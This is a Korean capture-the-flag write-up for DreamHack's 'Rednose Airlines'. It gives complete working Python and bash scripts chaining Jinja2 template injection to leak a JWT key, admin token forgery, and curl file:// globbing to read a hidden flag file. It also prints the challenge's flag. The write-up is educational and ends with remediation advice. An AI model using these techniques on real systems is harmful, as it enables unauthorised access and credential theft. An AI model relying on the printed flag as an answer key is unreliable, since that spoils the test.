문제: DreamHack — Rednose Airlines 분류: web 난이도: 🥇 Gold 3 FLAG:
DH{ThrvGkkoUso6L6s4LHZUPIUnEXmzjUO8RlJMX8vu2V}
항공사 인트라넷을 흉내 낸 Flask 앱이다. 로그인, 관리자 대시보드, 기상정보 API 세 덩어리뿐인데 각 덩어리가 서로 다른 취약점을 하나씩 들고 있어서 셋을 이어야 플래그가 나온다.

문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | Rednose Airlines |
| 난이도 | 🥇 Gold 3 |
| 분류 | web |
| 스택 | Python 3.8 · Flask · PyJWT · subprocess + 시스템 curl |
| 제공 파일 | Dockerfile · deploy/main.py(106줄) · templates/ 3개 |
| 서버 | http://host3.dreamhack.games:22915/ (드림핵 VM) |
| 핵심 취약점 | 로그인 실패 메시지의 .format() 결과가 render_template_string 으로 들어간다 |
| 부수 관문 | 입력 10자 제한 · JWT 서명 검사 · 셸 없는 curl 인자 하나 · 랜덤 파일명 |
🔬 코드 정찰 — 106줄에서 볼 곳은 일곱 군데
main.py 는 짧다. 위험한 호출만 골라 한 번에 훑으면 구조가 바로 드러난다.
grep -n -E "len\(form_id\)|re\.search|render_template_string|format\(|subprocess\.run|JWTKey|RATE_LIMIT" extracted/deploy/main.py
읽히는 그림은 이렇다.
JWTKey = ''.join(random.choices(string.ascii_letters, k=50))
app.config['JWTKey'] = JWTKey서명 키가 매 기동마다 영문자 50자로 새로 만들어지고, 그 키를 app.config 에 넣어
둔다. 브루트포스는 의미가 없고, 대신 app.config 를 읽을 수만 있으면 키가 통째로
나온다는 뜻이기도 하다.
return render_template_string(
'{form_id} is not registered, or the password is incorrect.'.format(form_id=form_id))로그인 실패 분기다. .format() 이 사용자 입력을 템플릿 소스 문자열 안에 넣고,
그 결과를 render_template_string 이 컴파일한다. 즉 내 입력은 렌더링되는 데이터가
아니라 템플릿 그 자체의 일부가 된다. 전형적인 Jinja2 SSTI 자리다.
result = subprocess.run(['curl', airport], shell=False,
stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True)기상정보 API 는 airport 파라미터를 curl 에 넘긴다. shell=False 에 argv 도
['curl', airport] 둘뿐이라 명령 주입이나 옵션 추가가 들어갈 틈이 없다. 여기는
마지막에 다시 본다.
🚧 10자 감옥 — 필터가 남겨 둔 페이로드는 몇 개 없다
SSTI 자리를 찾았어도 바로 쓸 수는 없다. 입력에 검사가 세 겹 걸려 있다.
if len(form_id) > 10:
return "Too Long"
elif len(form_id) < 3:
return "Too Short"
elif not re.search(r"^[A-Za-z{}]*$", form_id):
return "Blacklist Word"길이 3~10자, 그리고 영문자와 중괄호만. 점도 숫자도 따옴표도 못 쓴다.
{{''.__class__}} 같은 객체 사다리는 시작도 못 하고, {{7*7}} 은 별표 하나 때문에
막힌다. 그래서 후보를 적어 놓고 서버 필터를 그대로 재현한 다음, 통과한 것만 실제로
던져 봤다.
#!/usr/bin/env python3
"""/login 의 form_id 필터를 그대로 재현해, 어떤 SSTI 페이로드가 살아남는지 본다.
서버 코드의 검사 순서:
len(form_id) > 10 -> "Too Long"
len(form_id) < 3 -> "Too Short"
not re.search(r"^[A-Za-z{}]*$", form_id) -> "Blacklist Word"
살아남은 것만 실제로 POST 해서 응답 첫 줄을 찍는다.
usage: python3 probe_filter.py http://host3.dreamhack.games:PORT
"""
import re
import sys
import html
import requests
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:13000").rstrip("/")
PAYLOADS = [
"{{7*7}}", # 교과서 SSTI 탐지
"{{config.items()}}", # 흔한 config 덤프
"{{''.__class__}}", # 객체 사다리 시작점
"{{request.args}}", # Flask 전역
"{{self}}", # 필터는 통과
"{{config}}", # 필터 통과 + JWTKey 노출
]
def gate(s: str) -> str:
"""서버와 동일한 순서로 거절 사유를 돌려준다. 통과면 빈 문자열."""
if len(s) > 10:
return "Too Long"
if len(s) < 3:
return "Too Short"
if not re.search(r"^[A-Za-z{}]*$", s):
return "Blacklist Word"
return ""
for p in PAYLOADS:
why = gate(p)
if why:
print(f"[-] {p:<22} len={len(p):<3} 거절: {why}")
continue
r = requests.post(f"{BASE}/login", data={"id": p, "pw": "x"}, timeout=30)
body = html.unescape(r.text).strip()
key = re.search(r"'JWTKey':\s*'([A-Za-z]+)'", body)
print(f"[+] {p:<22} len={len(p):<3} 통과 -> {len(body)}B 응답"
+ (f" | JWTKey={key.group(1)}" if key else " | 렌더만 되고 누출 없음"))python3 probe_filter.py http://host3.dreamhack.games:22915
{{config}} 는 중괄호 넷을 포함해 정확히 10자다. 한 글자만 더 길었어도 못 썼고,
{{self}} 처럼 통과해도 쓸모없는 것과 달리 이건 app.config 객체를 그대로 렌더링한다.
그리고 앞에서 본 app.config['JWTKey'] = JWTKey 때문에 그 안에 서명 키가 들어 있다.
브라우저로도 똑같이 넣어 본다. 사용자 이름 칸에 {{config}}, 비밀번호는 아무거나.


'JWTKey': 'fjvhZYPmivBfAUZPzvewOUfijQvZdepuvbfRIGxBCJtQgWSHnr' 가 화면에 그대로 찍혔다.
로그인은 여전히 실패했지만, 로그인할 이유가 사라졌다.
🔑 서명 키를 알면 관리자는 만들면 된다
대시보드와 기상정보 API 는 같은 조건을 본다.
decode_jwt = jwt.decode(request.cookies.get('auth'), JWTKey, algorithms=['HS256'])
if decode_jwt['id'] == 'admin' and decode_jwt['isAdmin'] == True:알고리즘이 HS256 으로 고정돼 있어 alg: none 류의 장난은 통하지 않는다. 대신 키를
알고 있으니 서버와 똑같은 방식으로 토큰을 만들면 된다. 키가 틀리면 어떻게 되는지도
같이 확인해 둔다.
#!/usr/bin/env python3
"""누출한 JWTKey 로 만든 토큰이 서버의 검사를 그대로 통과하는지 손으로 확인한다.
서버가 하는 일(/dashboard, /api/metar 동일):
decode_jwt = jwt.decode(cookie, JWTKey, algorithms=['HS256'])
if decode_jwt['id'] == 'admin' and decode_jwt['isAdmin'] == True: ...
except: fail.jpg
usage: python3 verify_jwt.py http://host3.dreamhack.games:PORT
"""
import re
import sys
import html
import jwt
import requests
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:13000").rstrip("/")
body = html.unescape(requests.post(f"{BASE}/login",
data={"id": "{{config}}", "pw": "x"}, timeout=30).text)
key = re.search(r"'JWTKey':\s*'([A-Za-z]+)'", body).group(1)
print(f"leaked JWTKey : {key}")
token = jwt.encode({"id": "admin", "isAdmin": True}, key, algorithm="HS256")
print(f"forged token : {token}")
claims = jwt.decode(token, key, algorithms=["HS256"])
print(f"decode(key) : {claims}")
print(f"server 조건 : id=='admin' -> {claims['id'] == 'admin'}"
f" / isAdmin==True -> {claims['isAdmin'] is True}")
try:
jwt.decode(token, "A" * len(key), algorithms=["HS256"])
except Exception as e:
print(f"decode(틀린키): {type(e).__name__}: {e} -> 서버는 except 로 빠져 fail.jpg")python3 verify_jwt.py http://host3.dreamhack.games:22915
서명이 틀리면 jwt.decode 가 예외를 던지고, 서버는 그 예외를 except 로 받아
고양이 사진을 돌려준다. 키를 얻기 전에 아무 쿠키나 넣어 보면 이 화면이 나온다.

위조한 토큰을 auth 쿠키에 넣으면 같은 주소가 관리자 화면으로 바뀐다.

💣 셸이 없는 curl 인자 하나로 무엇을 할 수 있나
관리자가 됐으니 기상정보 API 를 쓸 수 있다. 그런데 이 호출은 생각보다 단단하다.
result = subprocess.run(['curl', airport], shell=False, ...)shell=False라;|같은 메타문자가 셸을 거치지 않는다. 그냥curl에게 건네지는 문자열 한 개일 뿐이다.- argv 가
['curl', airport]로 고정이라-o-K같은 옵션을 뒤에 붙일 수도 없다. (airport자체를-K로 시작하게 만드는 길은 있지만, 그럴 거면 읽을 파일 이름을 이미 알아야 한다.)
그래서 남는 건 "curl 이 URL 하나로 혼자 할 수 있는 일" 뿐이다. curl 은
file:// 스킴을 지원하므로, 인자 하나로 로컬 파일 읽기가 된다. 문제는 읽을 파일의
이름이다.
grep -n "RUN FLAG" extracted/Dockerfile && docker exec rednose-vuln ls -l /deploy
RUN FLAG=$(cat /dev/urandom | tr -dc 'a-z' | fold -w 4 | head -n 1); mv /deploy/flag.txt /deploy/flag_$FLAG.txt빌드할 때마다 flag.txt 가 flag_XXXX.txt 로 바뀐다. XXXX 는 소문자 네 글자라
26⁴ = 456,976 가지다. 그리고 기상정보 API 에는 5분에 10회 제한이 걸려 있다.
RATE_LIMIT_REQUESTS = 10
RATE_LIMIT_TIMEOUT = timedelta(minutes=5)HTTP 요청으로 45만 번을 돌릴 수는 없다. 요청 한 번 안에서 전수해야 한다.
🎯 curl URL 글로빙 — 45만 가지를 한 호출로
curl 에는 URL 글로빙이 있다. http://site/[1-100].html 처럼 쓰면 한 번의 실행으로
100개를 순서대로 가져온다. 레인지 문법은 알파벳에도 쓸 수 있어서
flag_[a-z][a-z][a-z][a-z].txt 는 네 자리 조합 전부로 펼쳐진다. 출력은 성공한
것만 이어 붙으니, 존재하지 않는 이름들은 조용히 지나간다.
로컬에서 같은 조건을 만들어 먼저 확인했다. 파일 이름은 스크립트도 모르는 상태로 둔다.
#!/usr/bin/env bash
# curl URL 글로빙만으로 "이름을 모르는 파일"을 읽을 수 있는지 로컬에서 먼저 확인한다.
# Dockerfile 과 같은 방식으로 랜덤 4자 이름을 붙인 더미 flag 를 만들고,
# 그 이름을 curl 에 알려주지 않은 채 [a-z] 레인지 4개로 전수한다.
set -u
D=/tmp/rn_glob
rm -rf "$D"; mkdir -p "$D"
NAME=$(head -c 4096 /dev/urandom | tr -dc 'a-z' | head -c 4)
echo "DH{dummy_for_glob_demo}" > "$D/flag_$NAME.txt"
echo "# $D 안의 파일 수: $(ls "$D" | wc -l) (이름은 curl 에 알려주지 않는다)"
echo "# [a-z] 4개 = $((26*26*26*26)) 조합을 curl 한 번이 돈다"
time curl -s "file://$D/flag_[a-z][a-z][a-z][a-z].txt"
echo "# 정답이었던 이름: flag_$NAME.txt"./glob_demo.sh
12.6초. file:// 는 네트워크를 타지 않고 로컬 open 실패를 반복하는 것뿐이라 이
정도면 충분히 빠르다. 라이브 서버에서도 체감은 비슷했고, 무엇보다 제한에 걸리는 10회 중 한 번만
쓴다. 같은 URL 을 주소창에 그대로 넣어도 된다.


🚀 Full Exploit
세 단계를 그대로 이어 붙이면 끝난다.
#!/usr/bin/env python3
"""Rednose Airlines (DreamHack, Gold 3, web) — full exploit chain.
1) /login POST : form_id 이 .format() 으로 템플릿 소스에 들어가 Jinja2 SSTI.
len 3~10 + ^[A-Za-z{}]*$ 제약 안에 들어가는 페이로드는
사실상 {{config}}(정확히 10자) 하나 → app.config 전체가 찍히고
거기에 app.config['JWTKey'] 가 들어 있다.
2) JWT 위조 : 누출한 키로 {"id":"admin","isAdmin":true} HS256 서명.
3) /api/metar : subprocess.run(['curl', airport], shell=False) — 셸이 없어
명령주입은 불가하고 argv 도 하나뿐이다. 그래서 "curl 이
혼자 할 수 있는 일"만 쓴다 → file:// 로컬 파일 읽기 +
curl URL 글로빙([a-z] 레인지)으로 랜덤 4자 파일명을
한 번의 요청 안에서 456,976번 시도.
usage: python3 solve.py http://host1.dreamhack.games:PORT
"""
import re
import sys
import html
import urllib.parse
import jwt
import requests
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:13000").rstrip("/")
# 랜덤 파일명: Dockerfile 의 `tr -dc 'a-z' | fold -w 4` → [a-z]{4}
GLOB = "file:///deploy/flag_[a-z][a-z][a-z][a-z].txt"
def leak_jwt_key() -> str:
"""SSTI({{config}}) 로 app.config 를 렌더링시켜 JWTKey 를 뽑는다."""
r = requests.post(f"{BASE}/login", data={"id": "{{config}}", "pw": "x"}, timeout=30)
body = html.unescape(r.text)
m = re.search(r"'JWTKey':\s*'([A-Za-z]+)'", body)
if not m:
raise SystemExit(f"[-] JWTKey 누출 실패\n{body[:500]}")
return m.group(1)
def forge(key: str) -> str:
"""/dashboard · /api/metar 의 두 조건(id=='admin', isAdmin==True)을 맞춘 토큰."""
return jwt.encode({"id": "admin", "isAdmin": True}, key, algorithm="HS256")
def read_flag(token: str) -> str:
"""curl 인자 하나로 file:// 읽기 + URL 글로빙 브루트포스."""
url = f"{BASE}/api/metar?airport=" + urllib.parse.quote(GLOB, safe="")
r = requests.get(url, cookies={"auth": token}, timeout=300)
return r.text
if __name__ == "__main__":
key = leak_jwt_key()
print(f"[+] JWTKey = {key} ({len(key)} chars)")
token = forge(key)
print(f"[+] forged = {token}")
out = read_flag(token)
print(f"[+] /api/metar 응답 {len(out)} bytes")
for line in out.splitlines():
if line.strip():
print(f"[*] {line.strip()}")
flag = re.search(r"DH\{[^}]*\}", out)
print(f"[+] FLAG = {flag.group(0) if flag else '(없음)'}")python3 solve.py http://host3.dreamhack.games:22915
▶📄 reproduce.sh — 로컬 컨테이너로 체인 전체를 대조한다
배포본의 flag.txt 는 더미라서 로컬에서는 진짜 플래그가 나오지 않는다. 대신 컨테이너가
실제로 쥐고 있는 파일 내용을 docker exec 로 직접 읽어 정답지로 삼고, 익스플로잇이
파일명을 모르는 채 같은 값을 뽑아내는지 대조했다.
#!/usr/bin/env bash
# Rednose Airlines (DreamHack 1049, Gold 3 web) — 한 방 재현.
#
# ./reproduce.sh 로컬 docker 로 체인 전체를 검증 (기본)
# ./reproduce.sh http://host3.dreamhack.games:PORT 라이브 서버에서 진짜 flag
#
# 로컬 모드는 배포본의 flag.txt 가 더미(DH{FAKEFLAG...})이므로 **진짜 flag 를 낼 수 없다.**
# 대신 컨테이너가 실제로 쥐고 있는 파일 내용을 docker 로 직접 읽어 정답지로 삼고,
# 익스플로잇이 (파일명을 모르는 채) 같은 값을 뽑아내는지 대조한다.
set -u
cd "$(dirname "$(readlink -f "$0")")"
if [ $# -ge 1 ]; then
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
OUT=$(timeout 300 python3 solve.py "$1" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo; echo "✅ PASS (라이브) $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1
fi
C=rednose-repro
docker rm -f "$C" >/dev/null 2>&1
docker build -t rednose-airlines ./extracted >/dev/null || { echo "❌ docker build 실패"; exit 1; }
docker run -d --name "$C" -p 13099:13000 rednose-airlines >/dev/null || { echo "❌ docker run 실패"; exit 1; }
sleep 4
# 정답지: 컨테이너 안의 진짜 파일 내용 (익스플로잇에는 파일명도 내용도 주지 않는다)
EXPECT=$(docker exec "$C" sh -c 'cat /deploy/flag_*.txt' | tr -d '\r\n')
echo "# 컨테이너가 쥔 파일: $(docker exec "$C" sh -c 'ls /deploy/flag_*.txt')"
OUT=$(timeout 300 python3 solve.py http://127.0.0.1:13099 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
docker rm -f "$C" >/dev/null 2>&1
if [ -n "$FLAG" ] && [ "$FLAG" = "$EXPECT" ]; then
echo; echo "✅ PASS (로컬 체인 검증) $FLAG"
echo " ※ 배포본 flag 는 더미다. 진짜 flag 는 라이브 서버 주소를 인자로 줘야 나온다."
exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 컨테이너 실제 값: '$EXPECT')"; exit 1🐛 삽질
▶🐛 삽질 1 — 명령 주입을 먼저 뒤졌다
subprocess.run 을 보면 반사적으로 메타문자부터 떠올리게 된다. 그런데 이 호출은
shell=False 라 ; 나 $(…) 가 셸을 만나지 못하고, argv 가 ['curl', airport]
둘로 끝나서 뒤에 옵션을 덧붙일 수도 없다. 인자 하나를 -K /etc/passwd 처럼 옵션으로
시작하게 만드는 길이 남지만, 그 방향도 결국 읽을 파일의 이름을 알아야 쓸모가 있다.
막힌 지점을 정리하고 나니 질문이 바뀌었다. "어떻게 명령을 바꾸나"가 아니라
"curl 이 URL 하나로 할 수 있는 일이 뭔가". 그 순간 file:// 와 글로빙이 보였다.
▶🐛 삽질 2 — 10자 제한을 세는 법
{{config}} 가 10자인 건 세어 보면 당연한데, 처음에는 {{config.items()}} 나
{{config['JWTKey']}} 처럼 보기 좋은 페이로드부터 떠올렸다. 둘 다 Too Long 이다.
필터를 코드로 재현해 후보를 한꺼번에 돌린 뒤에야 "통과하는 것"과 "통과하면서 쓸모
있는 것"이 다르다는 게 눈에 들어왔다. {{self}} 는 통과하지만 아무것도 안 준다.
제한이 빡빡할수록 머릿속에서 고르지 말고 필터를 그대로 옮겨 적어 전수하는 쪽이 빠르다.
▶🐛 삽질 3 — 요청 10회 제한이 생각보다 무섭다
/api/metar 는 성공한 호출마다 카운터를 올리고 10회가 되면 5분을 통째로 잠근다.
글로빙을 모르고 파일명을 HTTP 로 브루트포스했다면 시도 열 번에 5분씩, 45만 가지를
도는 데 수백 년이 걸린다. 반대로 글로빙을 쓰면 요청 한 번이라 제한을 신경 쓸 일이
없다. 제한이 걸린 쪽은 HTTP 요청 수고, 그 안에서 curl 이 몇 번을 여는지는 아무도
세지 않는다.
📝 결론
.format() 의 결과를 템플릿으로 넘기지 않는다. 이 문제의 출발점은 한 줄이다.
render_template_string('{form_id} …'.format(form_id=form_id)) 는 사용자 입력을
템플릿 소스에 녹여서 컴파일한다. 고정 템플릿에 데이터로 넘기면
(render_template('login.html', form_id=form_id)) 같은 화면이 나오면서 SSTI 는 사라진다.
비밀을 app.config 에 두면 SSTI 한 방에 다 털린다. app.config 는 Jinja2
템플릿에서 기본으로 접근 가능한 객체다. 서명 키·DB 암호 같은 것을 거기 얹어 두면
템플릿 쪽 결함 하나가 곧바로 자격증명 유출이 된다. 키는 모듈 전역이나 전용 저장소에
두고, 템플릿 컨텍스트에서 보이지 않게 하는 편이 낫다.
서명 키가 새면 JWT 는 아무것도 보증하지 못한다. 알고리즘을 HS256 으로 고정하고
alg: none 을 막아 둔 건 잘한 일이지만, 대칭키 서명은 키가 곧 권한이다. 역할 판정을
토큰 클레임에만 맡기지 말고 서버 쪽 사용자 레코드와 대조하면 위조 토큰 하나로
관리자가 되지는 않는다.
shell=False 는 명령 주입만 막는다. 셸을 안 쓰니 메타문자는 무력해지지만, 그
프로그램이 원래 할 수 있는 일까지 막아 주지는 않는다. curl 은 file:// 을 읽고
URL 을 펼친다. 외부 프로그램에 사용자 입력을 넘길 때는 "셸을 거치나"보다
"그 프로그램이 이 인자로 무엇을 할 수 있나" 를 먼저 묻는 게 맞다. 여기서는
http:// https:// 만 허용하는 화이트리스트 한 줄이면 끝난다.
파일명을 랜덤으로 바꾸는 건 보호가 아니다. 45만 가지 이름이 공격 비용을 올려 주긴 했지만, 전수 수단이 요청 횟수 제한 밖에 있는 순간 그 비용은 16초로 무너졌다. 알려지지 않은 이름에 기대는 방어는 열거 수단이 하나만 있어도 그대로 사라진다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…